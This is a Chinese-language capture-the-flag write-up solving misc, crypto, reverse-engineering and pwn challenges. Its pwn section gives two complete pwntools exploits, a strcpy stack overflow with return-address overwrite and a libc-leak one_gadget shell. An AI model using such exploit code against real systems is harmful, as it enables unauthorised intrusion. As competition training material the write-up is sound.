前面的話
水一水~
Misc
最簡單的misc
zip 壓縮包僞加密,改完標誌位,解壓得到文件 secret 。winhex 打開發現頭部有 IHDR 標誌,盲猜一個 PNG 文件,補一個文件頭 89504E47 ,改後綴名。
隔壁是作者,重點是下面。十六進制轉 Ascii 得到 flag 。
A_Beautiful_Picture
下載一個 png ,改高度得到 flag 。
EasyBaBa
jpg 19.9M 你見過麼?反正我沒見過。binwalk 一下沒有東西,foremost 一下出來一個壓縮包,裏面還是一個大得出奇的 jpg 。winhex 看了一下 avi 文件,改後綴名,得到一段鬼畜,pr 逐幀查看視頻,找到四個二維碼,掃碼。十六進制轉 Ascii 碼,轉碼後調整順序得到 flag 。
問卷調查
認真填寫才能獲得 flag
小姐姐
用 stegdetect 檢查 jpeg 文件,發現 jphide 加密。
stegdetect.exe -s 20 xiaojiejie.jpeg
然後爆破密碼?
對,沒錯想多了。只需要這樣:
Real_EasyBaBa
winhex 打開文件,仔細看,就能獲得 flag 。
Crypto
簽到
base64 加密
cat_flag
🍙:0 。🍖:1 。二進制再轉字符串。
燕言燕語
十六進制轉 Ascii ,再轉維吉尼亞密碼。密鑰在 Ascii 解碼後字符串前面
Reverse
guessgame
IDA打開,shift + F12 查看字符串,得到 flag 。
8086
asm8086 單片機麼?這個比較曲折,用物理機 IDA 逆向出奇奇怪怪的指令,用虛擬機 IDA 逆向就能看得懂大半部分。加密方式就是異或,密文是 aUDuTZWjQGjzZWz 的值。
lea bx, aUDuTZWjQGjzZWz ; "]U[du~|t@{z@wj.}.~q@gjz{z@wzqW~/b;"
loc_10039: mov di, cx
dec di
xor byte ptr [bx+di], 1Fh //異或0x1f
loop loc_10039
lea dx, aUDuTZWjQGjzZWz ;
mov ah, 9
int 21h
完整exp
m = [0x5D, 0x55, 0x5B, 0x64, 0x75, 0x7E, 0x7C, 0x74, 0x40, 0x7B, 0x7A, 0x40, 0x77, 0x6A, 0x2E, 0x7D, 0x2E, 0x7E,
0x71, 0x40, 0x67, 0x6A, 0x7A, 0x7B, 0x7A, 0x40, 0x77, 0x7A, 0x71, 0x57, 0x7E, 0x2F, 0x62, 0x3B]
flag = ''
for i in range(0x22):
flag += chr(m[i] ^ 0x1F)
print(flag)
Pwn
r2t3
跟攻防世界的一道題類似。漏洞在 name_check() ,會將傳入參數 s strcpy 給 &dest 造成溢出。
char *__cdecl name_check(char *s)
{
char dest; // [esp+7h] [ebp-11h]
unsigned __int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Oops,u name is too long!");
exit(-1);
}
printf("Hello,My dear %s", s);
return strcpy(&dest, s); # 漏洞
}
完整exp:
from pwn import *
context.log_level = 'debug'
p = remote("node3.buuoj.cn",29570)
#p = process("./r2t3")
elf = ELF("./r2t3")
libc = ELF("./r2t3")
payload = 'a'*0x11
payload += 'a'*0x4
payload += p32(0x8048430)
payload += p32(0xdeadbeef)
payload += p32(0x8048760)
payload = payload.ljust(256+6,'b')
p.recvuntil("name:")
p.sendline(payload)
p.recvuntil("My")
p.interactive()
one_gadget
感覺在哪裏見過?
開局給提示:printf 函數地址,然後要求輸入,輸入完成後,會執行輸入地址。所以依據給出地址計算 offset ,算出 one_gadget 真實地址輸入。
one_gadget 輸入應該是十進制數,一開始 p64() ,做不出來。
完整exp:
#!/usr/bin/python
#encoding:utf-8
from pwn import *
context.log_level = 'debug'
p = process("./one_gadget")
elf= ELF("./one_gadget")
libc = ELF("./libc-2.29.so")
p.recvuntil("u:")
printf_got = int(p.recv(14),16)
log.success("printf_got:"+hex(printf_got))
libc_base = printf_got - libc.symbols['printf']
log.success("libc_base:"+hex(libc_base))
one_gadget = libc_base + 0x106ef8
log.success("one_gadget:"+hex(one_gadget))
p.recvuntil("gadget:")
p.sendline(str(one_gadget))
p.interactive()